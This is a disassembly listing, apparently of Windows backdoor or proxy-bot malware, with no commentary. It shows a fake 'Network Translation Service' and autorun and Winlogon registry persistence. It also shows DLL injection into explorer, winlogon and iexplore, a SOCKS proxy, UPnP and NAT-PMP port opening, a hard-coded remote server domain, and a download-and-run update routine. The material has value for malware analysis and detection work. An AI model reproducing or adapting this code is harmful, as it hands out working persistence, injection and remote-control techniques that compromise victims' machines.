loc_40D34F:				; CODE XREF: sub_40D310+25j
					; sub_40D310+2Cj ...
		jmp	short loc_40D371
; ---------------------------------------------------------------------------


loc_40D351:				; CODE XREF: sub_40D310+66j
		mov	ax, [ecx+4]
		mov	[ecx+6], ax
		mov	ax, [ecx+2]
		mov	[ecx+4], ax
		mov	ax, [ecx]
		mov	[ecx+2], ax
		mov	word ptr [ecx],	0
		sub	bx, 10h


loc_40D371:				; CODE XREF: sub_40D310:loc_40D34Fj
		cmp	word ptr [ecx+6], 0
		jz	short loc_40D351
		jmp	short loc_40D3B7
; ---------------------------------------------------------------------------


loc_40D37A:				; CODE XREF: sub_40D310+ACj
		movzx	eax, word ptr [ecx+6]
		add	eax, eax
		movzx	edx, word ptr [ecx+4]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+6], ax
		movzx	eax, word ptr [ecx+4]
		add	eax, eax
		movzx	edx, word ptr [ecx+2]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		movzx	eax, word ptr [ecx+2]
		add	eax, eax
		movzx	edx, word ptr [ecx]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		shl	word ptr [ecx],	1
		dec	bx


loc_40D3B7:				; CODE XREF: sub_40D310+68j
		cmp	word ptr [ecx+6], 10h
		jb	short loc_40D37A
		jmp	short loc_40D3FD
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: sub_40D310+F2j
		movzx	eax, word ptr [ecx]
		sar	eax, 1
		movzx	edx, word ptr [ecx+2]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx], ax
		movzx	eax, word ptr [ecx+2]
		sar	eax, 1
		movzx	edx, word ptr [ecx+4]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		movzx	eax, word ptr [ecx+4]
		sar	eax, 1
		movzx	edx, word ptr [ecx+6]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		shr	word ptr [ecx+6], 1
		inc	bx


loc_40D3FD:				; CODE XREF: sub_40D310+AEj
		cmp	word ptr [ecx+6], 20h
		jnb	short loc_40D3C0
		and	word ptr [ecx+6], 0Fh


loc_40D409:				; CODE XREF: sub_40D310+39j
		or	[ecx+6], di
		movsx	eax, bx
		pop	edi
		pop	ebx
		retn
sub_40D310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D420	proc near		; CODE XREF: sub_408490+13p
		jmp	dword_411DAC
sub_40D420	endp

; ---------------------------------------------------------------------------
		align 4
		dd 2F6h	dup(0)
dword_40E000	dd 656E6F64h		; DATA XREF: sub_4066F1+584o
					; sub_447672+584o
		db 2Eh,	0Ah, 0
aNotDaemonized_	db 'not daemonized...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406C33o
					; sub_447672:loc_447BB4o
aInitializingSe	db 'initializing service startup sequence...',0Ah,0
					; DATA XREF: sub_4066F1+527o
					; sub_447672+527o
aServiceInstall	db 'service installed ok...',0Ah,0 ; DATA XREF: sub_4066F1+476o
					; sub_447672+476o
aInstallingSe_0	db 'installing service...',0Ah,0 ; DATA XREF: sub_4066F1+462o
					; sub_447672+462o
aRegisteredSe_1	db 'registered service is not running, unrest.',0Ah,0
					; DATA XREF: sub_4066F1:loc_406B29o
					; sub_447672:loc_447AAAo
aStartingServic	db 'starting service...',0Ah,0 ; DATA XREF: sub_4066F1+41Do
					; sub_4066F1:loc_406BACo ...
aI		db '%i',0Ah,0           ; DATA XREF: sub_4066F1+3FEo
					; sub_447672+3FEo
aInstallingServ	db 'installing service, res=',0 ; DATA XREF: sub_4066F1+3E8o
					; sub_447672+3E8o
aRegisteredSe_0	db 'registered service is not running.',0Ah,0
					; DATA XREF: sub_4066F1:loc_406AC5o
					; sub_447672:loc_447A46o
aRegisteredServ	db 'registered service is here...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406AAAo
					; sub_447672:loc_447A2Bo
aDonTRegisterIt	db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_4066F1:loc_406A93o
					; sub_447672:loc_447A14o
aRegisterItAndR	db 'register it and restart',0Ah,0 ; DATA XREF: sub_4066F1+392o
					; sub_447672+392o
aNoRegisteredSe	db 'no registered service, ',0 ; DATA XREF: sub_4066F1+36Bo
					; sub_447672+36Bo
aWaitingComplet	db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406A46o
					; sub_447672:loc_4479C7o
aWaiting___	db '*** waiting...',0Ah,0 ; DATA XREF: sub_4066F1+32Co
					; sub_447672+32Co
aRemovingS	db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_4066F1+2A0o
					; sub_447672+2A0o
aInitializingWi	db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_4066F1+24Bo
					; sub_447672+24Bo
aCopyingFailed	db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_4066F1:loc_406914o
					; sub_447672:loc_447895o
aCreateprocessF	db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_4066F1:loc_4068F9o
					; sub_447672:loc_44787Ao
aCmdlineS	db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_4066F1+1DFo
					; sub_447672+1DFo
aCopying___	db 'copying...',0Ah,0   ; DATA XREF: sub_4066F1+167o
					; sub_447672+167o
aNewSOldSSelfS	db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+E0o
					; sub_447672+E0o
aWaiting10SecsS	db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+9Ao
					; sub_447672+9Ao
aShutdownmutexc	db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+8Do
					; sub_447672+8Do
aUpdate_0	db '*update',0          ; DATA XREF: sub_4066F1+5Eo
					; sub_447672+5Eo
aInjectionthrea	db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406485:loc_406645o
					; DMN1:loc_4475C6o
aDllStopped___	db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406485:loc_40660Do
					; DMN1:loc_44758Eo
aDying		db 'dying',0Ah,0        ; DATA XREF: sub_406485+173o
					; DMN1:00447579o
aWaitingForDllD	db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406485+129o
					; DMN1:0044752Fo
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_406485:loc_406544o
					; DMN1:loc_4474C5o
aWinlogon_exe	db 'winlogon.exe',0     ; DATA XREF: sub_406485:loc_40653Bo
					; DMN1:loc_4474BCo
aIexplore_exe	db 'iexplore.exe',0     ; DATA XREF: sub_406485:loc_406532o
					; DMN1:loc_4474B3o
aOldDllFoundWai	db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
					; DATA XREF: sub_406485+59o
					; DMN1:0044745Fo
aTryingSWithSFa	db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_4062AE+A1o
					; sub_44722F+A1o
aTryingSWithS	db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_4062AE+5Bo
					; sub_44722F+5Bo
aDllInjected	db 'DLL injected!',0Ah,0 ; DATA XREF: sub_4061E6+8Co
					; sub_447167+8Co
aThreadComplete	db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_4061E6+65o
					; sub_447167+65o
aThreadInjected	db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_4061E6+42o
					; sub_447167+42o
aProcessOpened_	db 'process opened.',0Ah,0 ; DATA XREF: sub_4061E6+1Do
					; sub_447167+1Do
aS		db '<%s>',0Ah,0         ; DATA XREF: sub_4060BC+FEo
					; sub_4062AE+81o ...
aWriteprocessme	db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_4060BC+F0o
					; sub_44703D+F0o
aGetlasterror	db 'GetLastError',0     ; DATA XREF: sub_4060BC+ADo
					; sub_44703D+ADo
aExitthread	db 'ExitThread',0       ; DATA XREF: sub_4060BC+9Co
					; sub_44703D+9Co
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_4060BC+8Bo
					; sub_44703D+8Bo
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4060BC+75o
					; sub_44703D+75o
aVirtualallocex	db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_4060BC+31o
					; sub_44703D+31o
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_406042+Ao
					; sub_446FC3+Ao
aDllNotExtracte	db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_405EFE:loc_406031o
					; sub_446E7F:loc_446FB2o
aDllOkS		db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+118o
					; sub_446E7F+118o
aTryingDllS	db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+F8o
					; sub_446E7F+F8o
aDllFoundS	db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+ADo
					; sub_446E7F+ADo
aCheckingDllS	db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+8Do
					; sub_446E7F+8Do
a000_tmp	db '000.tmp',0          ; DATA XREF: sub_405EFE+77o
					; sub_446E7F+77o
aNts_		db 'nts_',0             ; DATA XREF: sub_405EFE+66o
					; sub_405EFE+E1o ...
aOldDllS	db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+36o
					; sub_446E7F+36o
aR		db 'r',0                ; DATA XREF: sub_405EFE+16o
					; sub_446E7F+16o
aFileSWrittenWs	db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_405DF3+E1o
					; sub_446D74+E1o
aFileSCreated	db 'file <%s> created',0Ah,0 ; DATA XREF: sub_405DF3+B5o
					; sub_446D74+B5o
aFileSNotCreate	db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_405DF3+A4o
					; sub_446D74+A4o
aWb		db 'wb+',0              ; DATA XREF: sub_405DF3+90o
					; sub_446D74+90o
aResourceHereSi	db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_405DF3+50o
					; sub_446D74+50o
a8001		db '#8001',0            ; DATA XREF: sub_405DF3+2Ao
					; sub_446D74+2Ao
aDlltestliste_2	db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_405CF6:loc_405DABo
					; DMN1:loc_446D2Co
aDlltestliste_1	db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_405CF6+52o
					; DMN1:00446CC9o
aDlltestliste_0	db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_405CF6+37o
					; DMN1:00446CAEo
aDlltestlistent	db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_405CF6+10o
					; DMN1:00446C87o
aDlltestthreadP	db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_405C80+54o
					; DMN1:00446C55o
asc_40E58D	db '**',0               ; DATA XREF: sub_405BE3+5Fo
					; sub_4066F1+317o ...
aServicefixerth	db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405BE3+2o
					; DMN1:00446B66o
asc_40E5AD	db '" ',0               ; DATA XREF: sub_405B2A+46o
					; sub_446AAB+46o
aRegisterservic	db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
					; DATA XREF: DMN0:loc_405ABBo
					; DMN1:loc_446A3Co
aSetservicest_1	db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405A9Do
					; DMN1:00446A1Eo
aSetservicest_0	db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405A72o
					; DMN1:004469F3o
aSetservicestat	db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405A4Co
					; DMN1:004469CDo
aServicectrldis	db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_4059DBo
					; DMN1:0044695Co
aWaitingForStop	db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_405870+ACo
					; sub_4467F1+ACo
aEventCreatonEr	db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_405870+71o
					; sub_4467F1+71o
aEventCreated_	db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_405870+5Do
					; sub_4467F1+5Do
aWritingToHkcuA	db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405774+4Fo
					; sub_4466F5+4Fo
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_405774+3Do
					; sub_405774+66o ...
aWritingToHklmA	db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405774+26o
					; sub_4466F5+26o
asc_40E6FF	db '*',0                ; DATA XREF: sub_405774+Fo
					; sub_4466F5+Fo
aLoad		db 'load',0             ; DATA XREF: sub_4056B3+15o
					; sub_4056B3+40o ...
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
					; DATA XREF: sub_4056B3+1Ao
					; sub_4056B3+45o ...
asc_40E73B	db ',',0                ; DATA XREF: sub_4055DB+A1o
					; sub_44655C+A1o
aUserinit	db 'Userinit',0         ; DATA XREF: sub_4055DB+15o
					; sub_4055DB+40o ...
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
					; DATA XREF: sub_4055DB+1Ao
					; sub_4055DB+45o ...
aStartupprogram	db 'StartupPrograms',0  ; DATA XREF: sub_405545+14o
					; sub_405545+3Bo ...
aSystemCurren_1	db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
					; DATA XREF: sub_405545+19o
					; sub_405545+40o ...
aRegreadCanTRea	db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_4053DF+A2o
					; sub_446360+A2o
aRegreadReadIBy	db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_4053DF+8Eo
					; sub_446360+8Eo
aRegreadOpenedS	db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_4053DF+44o
					; sub_446360+44o
a6ea9b038C801_0	db '{6EA9B038-C801-4F76-805F-E41ACF9ED164}',0 ; DATA XREF: DMN0:00405303o
					; sub_405870+44o ...
aDescription	db 'Description',0      ; DATA XREF: sub_405187+13Ao
					; sub_446108+13Ao
aDisplayname	db 'DisplayName',0      ; DATA XREF: sub_405187+116o
					; sub_446108+116o
aLocalsystem	db 'LocalSystem',0      ; DATA XREF: sub_405187+E9o
					; sub_446108+E9o
aObjectname	db 'ObjectName',0       ; DATA XREF: sub_405187+F2o
					; sub_446108+F2o
aErrorcontrol	db 'ErrorControl',0     ; DATA XREF: sub_405187+BDo
					; sub_405187+D9o ...
aStart		db 'Start',0            ; DATA XREF: sub_405187+A1o
					; sub_446108+A1o
aType		db 'Type',0             ; DATA XREF: sub_405187+82o
					; sub_446108+82o
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4050B1+87o
					; sub_405187+15Eo ...
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_4050B1+Bo
					; sub_405187+Ao ...
aProvidesHardwa	db 'Provides hardware-to-software binary network translation support '
					; DATA XREF: sub_404F2A+9Bo
					; sub_405187+124o ...
		db 'for network protocols.  This service can not be stopped.',0
aServiceRegiste	db 'service registered',0Ah,0 ; DATA XREF: sub_404F2A:loc_404FB2o
					; sub_445EAB:loc_445F33o
aNetworkTransla	db 'Network Translation Service',0 ; DATA XREF: sub_404F2A+42o
					; sub_405187+100o ...
aStartingCommTh	db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404967+17Ao
					; DMN1:00445A62o
aNatpmpForwarde	db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404967+13Bo
					; DMN1:00445A23o
aSocksPortI	db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404967+DFo
					; DMN1:004459C7o
aCanTBindListen	db 'can',27h,'t bind listen socket!',0Ah,0
aListener___	db 'listener...',0Ah,0  ; DATA XREF: sub_404967+14o
					; DMN1:004458FCo
aConnectionClos	db 'connection closed.',0Ah,0 ; DATA XREF: sub_4042CD:loc_40493Ao
					; DMN1:loc_4458BBo
aDataExchangeCo	db 'data exchange complete',0Ah,0 ; DATA XREF: sub_4042CD:loc_40492Fo
					; DMN1:loc_4458B0o
aTransferringDa	db 'transferring data...',0Ah,0 ; DATA XREF: sub_4042CD+558o
					; DMN1:004457A6o
aConnectedToSI	db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+522o
					; DMN1:00445770o
aConnectionToSI	db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_4042CD+4E1o
					; DMN1:0044572Fo
aConnectingToSI	db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+4A3o
					; DMN1:004456F1o
aSocksVIS	db 'socks v%i  [%s]',0Ah,0 ; DATA XREF: sub_4042CD+119o
					; DMN1:00445367o
aConnectionReje	db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_4042CD+D8o
					; DMN1:00445326o
aConnectionFrom	db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_4042CD+62o
					; DMN1:004452B0o
a_win32__nts_um	db '_win32__nts_um__',0 ; DATA XREF: sub_40410E+10o
					; sub_44508F+10o
aSystem		db 'SYSTEM',0           ; DATA XREF: sub_4040C3+31o
					; sub_445044+31o
asc_40EAC3	db 0Dh,'                      ',0Dh,0 ; DATA XREF: sub_40400E+90o
					; DMN1:0044501Fo
aISecondsLeft_	db 0Dh,'%i seconds left   ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o
					; DMN1:00444FF6o
aSrvWaitingISec	db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o
					; DMN1:00444FE5o
aSrvcommthreadD	db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o
					; DMN1:loc_444F54o

; =============== S U B	R O U T	I N E =======================================



sub_40EB25	proc near		; DATA XREF: sub_403C3F+351o
					; DMN1:00444F11o

; FUNCTION CHUNK AT 0040EBA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC0A SIZE 00000008 BYTES

		push	ebx
		push	edx
		push	esi
		cmp	ah, [eax]
		jnb	short loc_40EBA0
		popa
		jb	short loc_40EBA3
		imul	ebp, [esi+67h],	64707520h
		popa
		jz	short sub_40EB9E
		jb	short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		db	2Eh
		or	al, cs:[eax]
sub_40EB25	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EB3F	proc near		; DATA XREF: sub_403C3F+2F5o
					; DMN1:00444EB5o
		push	ebx
		push	edx
		push	esi
		cmp	ah, [eax]
		push	ebp
		push	eax
		inc	edi
		push	edx
		inc	ecx
		inc	esp
		inc	ebp
		and	ds:0A3E73h, bh
sub_40EB3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
word_40EB52	dw 5253h		; DATA XREF: sub_403C3F:loc_403EF0o
					; DMN1:loc_444E71o
		dd 49203A56h, 53494C50h
		db 54h,	0Ah, 0
byte_40EB5F	db 53h			; DATA XREF: sub_403C3F:loc_403EE0o
					; DMN1:loc_444E61o
		dd 203A5652h, 0A455942h
		db 0
aSrvAckReject_0	db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB25+14j
					; DATA XREF: sub_403C3F+252o ...
aSrvAckRejected	db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o
					; DMN1:00444DF9o

; =============== S U B	R O U T	I N E =======================================



sub_40EB9E	proc near		; CODE XREF: sub_40EB25+12j
					; DATA XREF: sub_403C3F+220o ...
		push	ebx
		push	edx
sub_40EB9E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40EB25


loc_40EBA0:				; CODE XREF: sub_40EB25+5j
		push	esi
		cmp	ah, [eax]


loc_40EBA3:				; CODE XREF: sub_40EB25+8j
		jnb	short loc_40EC0A
; END OF FUNCTION CHUNK	FOR sub_40EB25
		outsb
		imul	ebp, fs:[esi+67h], 6A657220h
		arpl	gs:[ebp+64h], si
		and	[ecx+50h], cl
		jnb	short near ptr aSrvSendingReje+18h
		popaw
; ---------------------------------------------------------------------------
		dw 6C69h
		dd 0A6465h
aSrvSendingReje	db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o
					; DMN1:00444D75o
aSrvAckHandshac	db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo
					; DMN1:00444D5Bo
byte_40EBFB	db 53h			; DATA XREF: sub_403C3F:loc_403DC1o
					; DMN1:loc_444D42o
		dd 203A5652h, 204B4341h, 646E6168h
		db 73h,	68h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EB25


loc_40EC0A:				; CODE XREF: sub_40EB25:loc_40EBA3j
		popa
		arpl	[ebx+69h], bp
		outsb
		or	al, [bx+si]
; END OF FUNCTION CHUNK	FOR sub_40EB25
; ---------------------------------------------------------------------------
aSrvHandshaking	db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o
					; DMN1:00444D32o
aSrvRip?I	db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o
					; DMN1:00444D01o
aSrvHandshaki_0	db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o
					; DMN1:loc_444CE9o
aSrvConnectingF	db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o
					; DMN1:00444CD9o
aSrvConnecting_	db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o
					; DMN1:00444CB7o
aSrvSI		db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo
					; DMN1:00444C8Bo
aMyPortI	db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o
					; DMN1:00444C68o
aDep_mvl0an7_co	db 'dep.mvl0an7.com',0  ; DATA XREF: sub_403C3F+2Bo
					; DMN1:00444BEBo
aAuthorizedIpIS	db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo
					; sub_444B07+5Fo
aRunningSS___	db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo
					; DMN1:00444A6Ao
asc_40ECD5	db '" "',0              ; DATA XREF: sub_40399A+10Co
					; DMN1:00444A27o
aUpdate		db '*update "',0        ; DATA XREF: sub_40399A+E4o
					; DMN1:004449FFo
aMsssx		db 'msssx',0            ; DATA XREF: sub_40399A+A2o
					; DMN1:004449BDo
aDownloadedToS	db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo
					; DMN1:00444996o
aMsss		db 'msss',0             ; DATA XREF: sub_40399A+4Bo
					; DMN1:00444966o
aUpdateUrlS	db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o
					; DMN1:0044493Fo
aDownloadedSS	db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo
					; sub_4447B9+14Bo
aDownloadedFail	db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo
					; sub_4447B9+12Bo
aDownloadingSS	db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo
					; sub_4447B9+AEo
aFopenS___	db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o
					; sub_4447B9+87o
aWb_0		db 'wb',0               ; DATA XREF: sub_403838:loc_4038A7o
					; sub_4447B9:loc_444828o
aInternetopenur	db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o
					; sub_4447B9+51o
aInternetopenI	db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o
					; sub_4447B9+22o
aMsdownloader	db 'msdownloader',0     ; DATA XREF: sub_403838+14o
					; sub_4447B9+14o
asc_40EDB2	db ' ',0                ; DATA XREF: sub_403723+98o
					; DMN0:00404C4Ao ...
aCWindowsNts_ex	db 'C:\WINDOWS\nts.exe',0 ; DATA XREF: sub_403723:loc_40378Bo
					; DMN0:loc_404C1Ao ...
asc_40EDC7	db '"',0                ; DATA XREF: sub_403723+33o
					; sub_403723+7Fo ...
a_win32__nts_sm	db '_win32__nts_sm__',0 ; DATA XREF: DMN0:004036B2o
					; sub_4036F6+4o ...
a__win32__nts_s	db '__win32__nts_sdm__',0 ; DATA XREF: sub_403604+10o
					; sub_403658+4o ...
aNatPmpReques_1	db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o
					; sub_4442A3+208o
aNatPmpFwdReque	db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo
					; sub_4442A3+1BCo
aReceivingNat_0	db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o
					; sub_4442A3+171o
aSetsockoptNa_0	db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
					; DATA XREF: sub_403322+13Ao
					; sub_4442A3+13Ao
aSendingNatPmpF	db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o
					; sub_4442A3+C5o
aRouterIpS	db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o
					; sub_4442A3+49o
aNatPmpReques_0	db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
					; DATA XREF: sub_403113+1D5o
					; sub_444094+1D5o
aNatPmpRequestI	db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o
					; sub_444094+192o
aReceivingNatPm	db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao
					; sub_444094+14Ao
aSetsockoptNatP	db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o
					; sub_444094+113o
aSendingNatPmpR	db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o
					; sub_444094+D6o
aDefaultGateway	db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o
					; sub_444094+62o
aIupnpDiscove_4	db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do
					; sub_443A83+55Do
aControlurl	db '<controlURL>',0     ; DATA XREF: sub_402B02:loc_402EFCo
					; sub_443A83:loc_443E7Do
aService	db '</service>',0       ; DATA XREF: sub_402B02:loc_402ECFo
					; sub_443A83:loc_443E50o
aService_0	db '<service>',0        ; DATA XREF: sub_402B02:loc_402E9Bo
					; sub_443A83:loc_443E1Co
aUrnSchemasUpnp	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: sub_402B02:loc_402E62o
					; sub_443A83:loc_443DE3o
aIupnpDiscove_3	db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
					; DATA XREF: sub_402B02+34Fo
					; sub_443A83+34Fo
aLocationS	db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o
					; sub_443A83+316o
aIupnpDiscove_2	db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
					; DATA XREF: sub_402B02+2F5o
					; sub_443A83+2F5o
aIupnpDiscove_1	db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
					; DATA XREF: sub_402B02+27Do
					; sub_443A83+27Do
aLocation	db 'location',0         ; DATA XREF: sub_402B02:loc_402D60o
					; sub_443A83:loc_443CE1o
aIupnpDiscove_0	db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
					; DATA XREF: sub_402B02+24Do
					; sub_443A83+24Do
aSchemasUpnpOrg	db 'schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: sub_402B02+230o
					; sub_443A83+230o
aIupnpDiscovery	db 'IUPnP discovery request #%i -- checking...',0Ah,0
					; DATA XREF: sub_402B02+224o
					; sub_443A83+224o
aReceivingIupnp	db 'receiving IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+1ACo
					; sub_443A83+1ACo
aSetsockoptIupn	db 'setsockopt IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+164o
					; sub_443A83+164o
aMSearchHttp1_1	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo
					; sub_402B02+136o ...
		db 'Host: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: upnp:rootdevice',0Dh,0Ah
		db 'Man: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
aSendingIupnpDi	db 'sending IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+113o
					; sub_443A83+113o
aXbind___	db 'xbind...',0Ah,0     ; DATA XREF: sub_402B02+F3o
					; sub_443A83+F3o
aShit		db 'shit!',0Ah,0        ; DATA XREF: sub_402B02+BFo
					; sub_443A83+BFo
a239_255_255_25	db '239.255.255.250',0  ; DATA XREF: sub_402B02+45o
					; sub_402B02+92o ...
aHttpAddmapRe_1	db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
					; DATA XREF: sub_402896+235o
					; sub_443817+235o
aHttpAddmapRe_0	db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
					; DATA XREF: sub_402896+196o
					; sub_443817+196o
aHttpAddmapRequ	db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o
					; sub_443817+B0o
